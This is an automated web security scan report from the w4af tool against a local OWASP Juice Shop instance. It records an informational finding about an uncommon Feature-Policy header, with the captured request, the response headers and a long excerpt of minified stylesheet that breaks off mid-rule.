Application Security Scan for localhost
This report contains the application security scan results for the w4af scan of the localhost which finished 05.03.2024
The remote web server sent 30 HTTP responses with the uncommon response header "Feature-Policy", one of the received header values is "payment 'self'". The first ten URLs which sent the uncommon header are: - http://localhost:3000/ - http://localhost:3000/103.js - http://localhost:3000/MaterialIcons-Regular.woff2 - http://localhost:3000/api - http://localhost:3000/api/Challenges - http://localhost:3000/api/Challenges/ - http://localhost:3000/api/Quantitys - http://localhost:3000/assets - http://localhost:3000/assets/i18n - http://localhost:3000/assets/i18n/en.json
GET http://localhost:3000/styles.css HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"99b9d-18df12a3c67"\r\nContent-Type: text/css; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:59 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'/*!\n * Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n * SPDX-License-Identifier: MIT\n */.mat-badge-content{font-weight:600;font-size:12px;font-family:Roboto,Helvetica Neue,sans-serif}.mat-badge-small .mat-badge-content{font-size:9px}.mat-badge-large .mat-badge-content{font-size:24px}.mat-h1,.mat-headline,.mat-typography .mat-h1,.mat-typography .mat-headline,.mat-typography h1{font:400 24px/32px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 16px}.mat-h2,.mat-title,.mat-typography .mat-h2,.mat-typography .mat-title,.mat-typography h2{font:500 20px/32px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 16px}.mat-h3,.mat-subheading-2,.mat-typography .mat-h3,.mat-typography .mat-subheading-2,.mat-typography h3{font:400 16px/28px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 16px}.mat-h4,.mat-subheading-1,.mat-typography .mat-h4,.mat-typography .mat-subheading-1,.mat-typography h4{font:400 15px/24px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 16px}.mat-h5,.mat-typography .mat-h5,.mat-typography h5{font:400 11.62px/20px Roboto,Helvetica Neue,sans-serif;margin:0 0 12px}.mat-h6,.mat-typography .mat-h6,.mat-typography h6{font:400 9.38px/20px Roboto,Helvetica Neue,sans-serif;margin:0 0 12px}.mat-body-strong,.mat-body-2,.mat-typography .mat-body-strong,.mat-typography .mat-body-2{font:500 14px/24px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-body,.mat-body-1,.mat-typography .mat-body,.mat-typography .mat-body-1,.mat-typography{font:400 14px/20px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-body p,.mat-body-1 p,.mat-typography .mat-body p,.mat-typography .mat-body-1 p,.mat-typography p{margin:0 0 12px}.mat-small,.mat-caption,.mat-typography .mat-small,.mat-typography .mat-caption{font:400 12px/20px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-display-4,.mat-typography .mat-display-4{font:300 112px/112px Roboto,Helvetica Neue,sans-serif;letter-spacing:-.05em;margin:0 0 56px}.mat-display-3,.mat-typography .mat-display-3{font:400 56px/56px Roboto,Helvetica Neue,sans-serif;letter-spacing:-.02em;margin:0 0 64px}.mat-display-2,.mat-typography .mat-display-2{font:400 45px/48px Roboto,Helvetica Neue,sans-serif;letter-spacing:-.005em;margin:0 0 64px}.mat-display-1,.mat-typography .mat-display-1{font:400 34px/40px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 64px}.mat-bottom-sheet-container{font:400 14px/20px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-button,.mat-raised-button,.mat-icon-button,.mat-stroked-button,.mat-flat-button,.mat-fab,.mat-mini-fab{font-family:Roboto,Helvetica Neue,sans-serif;font-size:14px;font-weight:500}.mat-button-toggle,.mat-card{font-family:Roboto,Helvetica Neue,sans-serif}.mat-card-title{font-size:24px;font-weight:500}.mat-card-header .mat-card-title{font-size:20px}.mat-card-subtitle,.mat-card-content{font-size:14px}.mat-checkbox{font-family:Roboto,Helvetica Neue,sans-serif}.mat-checkbox-layout .mat-checkbox-label{line-height:24px}.mat-chip{font-size:14px;font-weight:500}.mat-chip .mat-chip-trailing-icon.mat-icon,.mat-chip .mat-chip-remove.mat-icon{font-size:18px}.mat-table{font-family:Roboto,Helvetica Neue,sans-serif}.mat-header-cell{font-size:12px;font-weight:500}.mat-cell,.mat-footer-cell{font-size:14px}.mat-calendar{font-family:Roboto,Helvetica Neue,sans-serif}.mat-calendar-body{font-size:13px}.mat-calendar-body-label,.mat-calendar-period-button{font-size:14px;font-weight:500}.mat-calendar-table-header th{font-size:11px;font-weight:400}.mat-dialog-title{font:500 20px/32px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-expansion-panel-header{font-family:Roboto,Helvetica Neue,sans-serif;font-size:15px;font-weight:400}.mat-expansion-panel-content{font:400 14px/20px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-form-field{font-size:inherit;font-weight:400;line-height:1.125;font-family:Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-form-field-wrapper{padding-bottom:1.34375em}.mat-form-field-prefix .mat-icon,.mat-form-field-suffix .mat-icon{font-size:150%;line-height:1.125}.mat-form-field-prefix .mat-icon-button,.mat-form-field-suffix .mat-icon-button{height:1.5em;width:1.5em}.mat-form-field-prefix .mat-icon-button .mat-icon,.mat-form-field-suffix .mat-icon-button .mat-icon{height:1.125em;line-height:1.125}.mat-form-field-infix{padding:.5em 0;border-top:.84375em solid transparent}.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label,.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.34375em) scale(.75);width:133.3333333333%}.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.34374em) scale(.75);width:133.3333433333%}.mat-form-field-label-wrapper{top:-.84375em;padding-top:.84375em}.mat-form-field-label{top:1.34375em}.mat-form-field-underline{bottom:1.34375em}.mat-form-field-subscript-wrapper{font-size:75%;margin-top:.6666666667em;top:calc(100% - 1.7916666667em)}.mat-form-field-appearance-legacy .mat-form-field-wrapper{padding-bottom:1.25em}.mat-form-field-appearance-legacy .mat-form-field-infix{padding:.4375em 0}.mat-form-field-appearance-legacy.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label,.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.28125em) scale(.75) perspective(100px) translateZ(.001px);width:133.3333333333%}.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-form-field-autofill-control:-webkit-autofill+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.28125em) scale(.75) perspective(100px) translateZ(.00101px);width:133.3333433333%}.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.28125em) scale(.75) perspective(100px) translateZ(.00102px);width:133.3333533333%}.mat-form-field-appearance-legacy .mat-form-field-label{top:1.28125em}.mat-form-field-appearance-legacy .mat-form-field-underline{bottom:1.25em}.mat-form-field-appearance-legacy .mat-form-field-subscript-wrapper{margin-top:.5416666667em;top:calc(100% - 1.6666666667em)}@media print{.mat-form-field-appearance-legacy.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label,.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.28122em) scale(.75)}.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-form-field-autofill-control:-webkit-autofill+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.28121em) scale(.75)}.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.2812em) scale(.75)}}.mat-form-field-appearance-fill .mat-form-field-infix{padding:.25em 0 .75em}.mat-form-field-appearance-fill .mat-form-field-label{top:1.09375em;margin-top:-.5em}.mat-form-field-appearance-fill.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label,.mat-form-field-appearance-fill.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-.59375em) scale(.75);width:133.3333333333%}.mat-form-field-appearance-fill.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-.59374em) scale(.75);width:133.3333433333%}.mat-form-field-appearance-outline .mat-form-field-infix{padding:1em 0}.mat-form-field-appearance-outline .mat-form-field-label{top:1.84375em;margin-top:-.25em}.mat-form-field-appearance-outline.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label,.mat-form-field-appearance-outline.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.59375em) scale(.75);width:133.3333333333%}.mat-form-field-appearance-outline.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.59374em) scale(.75);width:133.3333433333%}.mat-grid-tile-header,.mat-grid-tile-footer{font-size:14px}.mat-grid-tile-header .mat-line,.mat-grid-tile-footer .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}.mat-grid-tile-header .mat-line:nth-child(n+2),.mat-grid-tile-footer .mat-line:nth-child(n+2){font-size:12px}input.mat-input-element{margin-top:-.0625em}.mat-menu-item{font-family:Roboto,Helvetica Neue,sans-serif;font-size:14px;font-weight:400}.mat-paginator,.mat-paginator-page-size .mat-select-trigger{font-family:Roboto,Helvetica Neue,sans-serif;font-size:12px}.mat-radio-button,.mat-select{font-family:Roboto,Helvetica Neue,sans-serif}.mat-select-trigger{height:1.125em}.mat-slide-toggle-content{font-family:Roboto,Helvetica Neue,sans-serif}.mat-slider-thumb-label-text{font-family:Roboto,Helvetica Neue,sans-serif;font-size:12px;font-weight:500}.mat-stepper-vertical,.mat-stepper-horizontal{font-family:Roboto,Helvetica Neue,sans-serif}.mat-step-label{font-size:14px;font-weight:400}.mat-step-sub-label-error{font-weight:400}.mat-step-label-error{font-size:14px}.mat-step-label-selected{font-size:14px;font-weight:500}.mat-tab-group{font-family:Roboto,Helvetica Neue,sans-serif}.mat-tab-label,.mat-tab-link{font-family:Roboto,Helvetica Neue,sans-serif;font-size:14px;font-weight:500}.mat-toolbar,.mat-toolbar h1,.mat-toolbar h2,.mat-toolbar h3,.mat-toolbar h4,.mat-toolbar h5,.mat-toolbar h6{font:500 20px/32px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0}.mat-tooltip{font-family:Roboto,Helvetica Neue,sans-serif;font-size:10px;padding-top:6px;padding-bottom:6px}.mat-tooltip-handset{font-size:14px;padding-top:8px;padding-bottom:8px}.mat-list-item,.mat-list-option{font-family:Roboto,Helvetica Neue,sans-serif}.mat-list-base .mat-list-item{font-size:16px}.mat-list-base .mat-list-item .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}.mat-list-base .mat-list-item .mat-line:nth-child(n+2){font-size:14px}.mat-list-base .mat-list-option{font-size:16px}.mat-list-base .mat-list-option .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}.mat-list-base .mat-list-option .mat-line:nth-child(n+2){font-size:14px}.mat-list-base .mat-subheader{font-family:Roboto,Helvetica Neue,sans-serif;font-size:14px;font-weight:500}.mat-list-base[dense] .mat-list-item{font-size:12px}.mat-list-base[dense] .mat-list-item .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}.mat-list-base[dense] .mat-list-item .mat-line:nth-child(n+2){font-size:12px}.mat-list-base[dense] .mat-list-option{font-size:12px}.mat-list-base[dense] .mat-list-option .mat-line{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;box-sizing:border-box}.mat-list-base[dense] .mat-list-option .mat-line:nth-child(n+2){font-size:12px}.mat-list-base[dense] .mat-subheader{font-family:Roboto,Helvetica Neue,sans-serif;font-size:12px;font-weight:500}.mat-option{font-family:Roboto,Helvetica Neue,sans-serif;font-size:16px}.mat-optgroup-label{font:500 14px/24px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-simple-snackbar{font-family:Roboto,Helvetica Neue,sans-serif;font-size:14px}.mat-simple-snackbar-action{line-height:1;font-family:inherit;font-size:inherit;font-weight:500}.mat-tree{font-family:Roboto,Helvetica Neue,sans-serif}.mat-tree-node,.mat-nested-tree-node{font-weight:400;font-size:14px}.mat-ripple{overflow:hidden;position:relative}.mat-ripple:not(:empty){transform:translateZ(0)}.mat-ripple.mat-ripple-unbounded{overflow:visible}.mat-ripple-element{position:absolute;border-radius:50%;pointer-events:none;transition:opacity,transform 0ms cubic-bezier(0,0,.2,1);transform:scale3d(0,0,0)}.cdk-high-contrast-active .mat-ripple-element{display:none}.cdk-visually-hidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;white-space:nowrap;outline:0;-webkit-appearance:none;-moz-appearance:none;left:0}[dir=rtl] .cdk-visually-hidden{left:auto;right:0}.cdk-overlay-container,.cdk-global-overlay-wrapper{pointer-events:none;top:0;left:0;height:100%;width:100%}.cdk-overlay-container{position:fixed;z-index:1000}.cdk-overlay-container:empty{display:none}.cdk-global-overlay-wrapper{display:flex;position:absolute;z-index:1000}.cdk-overlay-pane{position:absolute;pointer-events:auto;box-sizing:border-box;z-index:1000;display:flex;max-width:100%;max-height:100%}.cdk-overlay-backdrop{position:absolute;inset:0;z-index:1000;pointer-events:auto;-webkit-tap-highlight-color:transparent;transition:opacity .4s cubic-bezier(.25,.8,.25,1);opacity:0}.cdk-overlay-backdrop.cdk-overlay-backdrop-showing{opacity:1}.cdk-high-contrast-active .cdk-overlay-backdrop.cdk-overlay-backdrop-showing{opacity:.6}.cdk-overlay-dark-backdrop{background:rgba(0,0,0,.32)}.cdk-overlay-transparent-backdrop{transition:visibility 1ms linear,opacity 1ms linear;visibility:hidden;opacity:1}.cdk-overlay-transparent-backdrop.cdk-overlay-backdrop-showing{opacity:0;visibility:visible}.cdk-overlay-backdrop-noop-animation{transition:none}.cdk-overlay-connected-position-bounding-box{position:absolute;z-index:1000;display:flex;flex-direction:column;min-width:1px;min-height:1px}.cdk-global-scrollblock{position:fixed;width:100%;overflow-y:scroll}textarea.cdk-textarea-autosize{resize:none}textarea.cdk-textarea-autosize-measuring{padding:2px 0!important;box-sizing:content-box!important;height:auto!important;overflow:hidden!important}textarea.cdk-textarea-autosize-measuring-firefox{padding:2px 0!important;box-sizing:content-box!important;height:0!important}@keyframes cdk-text-field-autofill-start{}@keyframes cdk-text-field-autofill-end{}.cdk-text-field-autofill-monitored:-webkit-autofill{animation:cdk-text-field-autofill-start 0s 1ms}.cdk-text-field-autofill-monitored:not(:-webkit-autofill){animation:cdk-text-field-autofill-end 0s 1ms}.mat-focus-indicator{position:relative}.mat-focus-indicator:before{inset:0;position:absolute;box-sizing:border-box;pointer-events:none;display:var(--mat-focus-indicator-display, none);border:var(--mat-focus-indicator-border-width, 3px) var(--mat-focus-indicator-border-style, solid) var(--mat-focus-indicator-border-color, transparent);border-radius:var(--mat-focus-indicator-border-radius, 4px)}.mat-focus-indicator:focus:before{content:""}.cdk-high-contrast-active{--mat-focus-indicator-display: block}.mat-mdc-focus-indicator{position:relative}.mat-mdc-focus-indicator:before{inset:0;position:absolute;box-sizing:border-box;pointer-events:none;display:var(--mat-mdc-focus-indicator-display, none);border:var(--mat-mdc-focus-indicator-border-width, 3px) var(--mat-mdc-focus-indicator-border-style, solid) var(--mat-mdc-focus-indicator-border-color, transparent);border-radius:var(--mat-mdc-focus-indicator-border-radius, 4px)}.mat-mdc-focus-indicator:focus:before{content:""}.cdk-high-contrast-active{--mat-mdc-focus-indicator-display: block}.deeppurple-amber-theme{--theme-primary: #673ab7;--theme-primary-lighter: #764ac6;--theme-primary-light: #8259cb;--theme-primary-darker: #5a33a0;--theme-primary-dark: #512e90;--theme-primary-fade-10: rgba(103, 58, 183, .9);--theme-primary-fade-20: rgba(103, 58, 183, .8);--theme-primary-fade-30: rgba(103, 58, 183, .7);--theme-primary-fade-40: rgba(103, 58, 183, .6);--theme-primary-fade-50: rgba(103, 58, 183, .5);--theme-accent: #ffa000;--theme-accent-lighter: #ffab1f;--theme-accent-light: #ffb333;--theme-accent-darker: #e08d00;--theme-accent-dark: #cc8000;--theme-accent-fade-10: rgba(255, 160, 0, .9);--theme-accent-fade-20: rgba(255, 160, 0, .8);--theme-accent-fade-30: rgba(255, 160, 0, .7);--theme-accent-fade-40: rgba(255, 160, 0, .6);--theme-accent-fade-50: rgba(255, 160, 0, .5);--theme-warn: #f44336;--theme-warn-lighter: #f65e53;--theme-warn-light: #f77066;--theme-warn-darker: #f22819;--theme-warn-dark: #ea1c0d;--theme-warn-fade-10: rgba(244, 67, 54, .9);--theme-warn-fade-20: rgba(244, 67, 54, .8);--theme-warn-fade-30: rgba(244, 67, 54, .7);--theme-warn-fade-40: rgba(244, 67, 54, .6);--theme-warn-fade-50: rgba(244, 67, 54, .5);--theme-text: rgba(0, 0, 0, .87);--theme-text-lighter: rgba(15, 15, 15, .87);--theme-text-light: rgba(26, 26, 26, .87);--theme-text-darker: rgba(0, 0, 0, .87);--theme-text-dark: rgba(0, 0, 0, .87);--theme-text-fade-10: rgba(0, 0, 0, .77);--theme-text-fade-20: rgba(0, 0, 0, .67);--theme-text-fade-30: rgba(0, 0, 0, .57);--theme-text-fade-40: rgba(0, 0, 0, .47);--theme-text-fade-50: rgba(0, 0, 0, .37);--theme-text-invert-15: rgba(38, 38, 38, .87);--theme-text-invert-30: rgba(77, 77, 77, .87);--theme-background: white;--theme-background-lighter: white;--theme-background-light: white;--theme-background-darker: #f0f0f0;--theme-background-dark: #e6e6e6;--theme-background-darkest: #dbdbdb}.deeppurple-amber-theme .mat-ripple-element{background-color:#0000001a}.deeppurple-amber-theme .mat-option{color:#000000de}.deeppurple-amber-theme .mat-option:hover:not(.mat-option-disabled),.deeppurple-amber-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(0,0,0,.04)}.deeppurple-amber-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(0,0,0,.04)}.deeppurple-amber-theme .mat-option.mat-active{background:rgba(0,0,0,.04);color:#000000de}.deeppurple-amber-theme .mat-option.mat-option-disabled{color:#00000061}.deeppurple-amber-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#673ab7}.deeppurple-amber-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#ffa000}.deeppurple-amber-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}.deeppurple-amber-theme .mat-optgroup-label{color:#0000008a}.deeppurple-amber-theme .mat-optgroup-disabled .mat-optgroup-label{color:#00000061}.deeppurple-amber-theme .mat-pseudo-checkbox{color:#0000008a}.deeppurple-amber-theme .mat-pseudo-checkbox:after{color:#fafafa}.deeppurple-amber-theme .mat-pseudo-checkbox-disabled{color:#b0b0b0}.deeppurple-amber-theme .mat-primary .mat-pseudo-checkbox-checked,.deeppurple-amber-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#673ab7}.deeppurple-amber-theme .mat-pseudo-checkbox-checked,.deeppurple-amber-theme .mat-pseudo-checkbox-indeterminate,.deeppurple-amber-theme .mat-accent .mat-pseudo-checkbox-checked,.deeppurple-amber-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#ffa000}.deeppurple-amber-theme .mat-warn .mat-pseudo-checkbox-checked,.deeppurple-amber-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}.deeppurple-amber-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.deeppurple-amber-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#b0b0b0}.deeppurple-amber-theme .mat-app-background,.deeppurple-amber-theme.mat-app-background{background-color:#fafafa;color:#000000de}.deeppurple-amber-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.deeppurple-amber-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.deeppurple-amber-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.deeppurple-amber-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.deeppurple-amber-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeppurple-amber-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.deeppurple-amber-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.deeppurple-amber-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.deeppurple-amber-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.deeppurple-amber-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.deeppurple-amber-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.deeppurple-amber-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.deeppurple-amber-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.deeppurple-amber-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.deeppurple-amber-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.deeppurple-amber-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.deeppurple-amber-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.deeppurple-amber-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.deeppurple-amber-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.deeppurple-amber-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.deeppurple-amber-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px #0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.deeppurple-amber-theme .mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.deeppurple-amber-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.deeppurple-amber-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.deeppurple-amber-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.deeppurple-amber-theme .mat-autocomplete-panel{background:white;color:#000000de}.deeppurple-amber-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeppurple-amber-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:white}.deeppurple-amber-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#000000de}.deeppurple-amber-theme .mat-badge{position:relative}.deeppurple-amber-theme .mat-badge.mat-badge{overflow:visible}.deeppurple-amber-theme .mat-badge-hidden .mat-badge-content{display:none}.deeppurple-amber-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.deeppurple-amber-theme .ng-animate-disabled .mat-badge-content,.deeppurple-amber-theme .mat-badge-content._mat-animation-noopable{transition:none}.deeppurple-amber-theme .mat-badge-content.mat-badge-active{transform:none}.deeppurple-amber-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.deeppurple-amber-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.deeppurple-amber-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.deeppurple-amber-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .deeppurple-amber-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.deeppurple-amber-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .deeppurple-amber-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.deeppurple-amber-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .deeppurple-amber-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.deeppurple-amber-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .deeppurple-amber-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.deeppurple-amber-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.deeppurple-amber-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.deeppurple-amber-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.deeppurple-amber-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .deeppurple-amber-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.deeppurple-amber-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .deeppurple-amber-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.deeppurple-amber-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .deeppurple-amber-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.deeppurple-amber-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .deeppurple-amber-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.deeppurple-amber-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.deeppurple-amber-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.deeppurple-amber-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.deeppurple-amber-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .deeppurple-amber-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.deeppurple-amber-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .deeppurple-amber-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.deeppurple-amber-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .deeppurple-amber-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.deeppurple-amber-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .deeppurple-amber-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.deeppurple-amber-theme .mat-badge-content{color:#fff;background:#673ab7}.cdk-high-contrast-active .deeppurple-amber-theme .mat-badge-content{outline:solid 1px;border-radius:0}.deeppurple-amber-theme .mat-badge-accent .mat-badge-content{background:#ffa000;color:#000000de}.deeppurple-amber-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}.deeppurple-amber-theme .mat-badge-disabled .mat-badge-content{background:#b9b9b9;color:#00000061}.deeppurple-amber-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:white;color:#000000de}.deeppurple-amber-theme .mat-button,.deeppurple-amber-theme .mat-icon-button,.deeppurple-amber-theme 